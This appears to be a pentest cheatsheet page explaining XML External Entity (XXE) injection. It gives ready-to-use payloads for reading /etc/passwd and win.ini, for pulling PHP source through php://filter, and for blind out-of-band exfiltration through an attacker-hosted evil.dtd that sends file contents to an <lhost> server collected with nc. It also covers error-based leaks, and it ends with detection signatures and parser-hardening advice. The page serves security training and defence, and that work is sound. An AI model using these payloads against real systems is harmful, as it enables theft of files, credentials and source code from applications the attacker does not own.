the_open_door
coffee
ESEN
← Back to index

XML External Entity (XXE) Injection

ATT&CKT1190
Full command arsenal in the cheatsheet

XXE (XML External Entity injection) is a vulnerability that appears when an application parses input XML and its parser has external-entity resolution enabled. XML lets you define entities, shorthands the parser expands while processing the document; external entities (SYSTEM) make the parser read an external resource (a local file, a URL) and substitute it into the document.

File read (reflected)

You declare an external entity pointing at a file and reference it in a field whose value is reflected in the response:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<bugreport>
  <title>&xxe;</title>
</bugreport>

When the XML is processed, &xxe; is replaced with the contents of /etc/passwd. On Windows, point at file:///C:/Windows/win.ini. If the file contains XML characters (<, &), a direct read breaks parsing: there the base64 wrapper is the way.

Source code with php://filter

To read a .php (which contains <, ?), base64-encode it with the wrapper and decode it locally:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<bugreport><title>&xxe;</title></bugreport>

Blind (OOB) XXE: exfiltration with an external DTD

When there is no reflection, use parameter entities and an external DTD hosted by the attacker to pull the file out over HTTP to their server:

<!-- payload sent to the app -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://<lhost>/evil.dtd"> %dtd;]>
<foo>&exfil;</foo>
<!-- evil.dtd served at http://<lhost>/evil.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % wrap "<!ENTITY exfil SYSTEM 'http://<lhost>/?d=%file;'>">
%wrap;

The server reads the file, puts it in the subdomain/parameter of a request to http://<lhost>/, and there you collect it (with nc -nlvp 80 or your own server).

Error-based (no OOB output)

If you cannot exfiltrate over HTTP but the parser leaks errors in the response, force an error that includes the file's contents in the message:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % err "<!ENTITY x SYSTEM 'file:///nonexistent/%file;'>">
%err;

Delivery vectors

Anywhere the app receives XML: forms, SOAP APIs and above all files that are XML inside:

Intercepting with a proxy and seeing Content-Type: application/xml or an XML body is the tell for the attacker.

What you can achieve

How to detect it. On the defensive side, the signature is in the XML body itself: a <!DOCTYPE with <!ENTITY and above all the SYSTEM keyword with file://, php://filter, http:// or expect:// schemes is unmistakable (a WAF inspecting the body flags it). Blind/OOB XXE is even more visible on the network: it makes the server perform an outbound request (HTTP or DNS) to the attacker's host to load the external DTD, so an outbound connection from the app server to an unknown domain right after receiving XML is the gold-standard signal. The SSRF variant leaves internal requests to 169.254.169.254 or loopback. The key: inbound XML containing an entity declaration, plus any unexpected network egress from the parser.

Defence. Disable external entities and DTDs in the parser (in PHP/libxml, libxml_disable_entity_loader(true) on old versions; in general, configure the parser not to resolve DOCTYPE/entities). Use simpler formats (JSON) when XML isn't needed, and validate/isolate any input that must be parsed as XML.

ToolsXXEinjector

Machines where it's used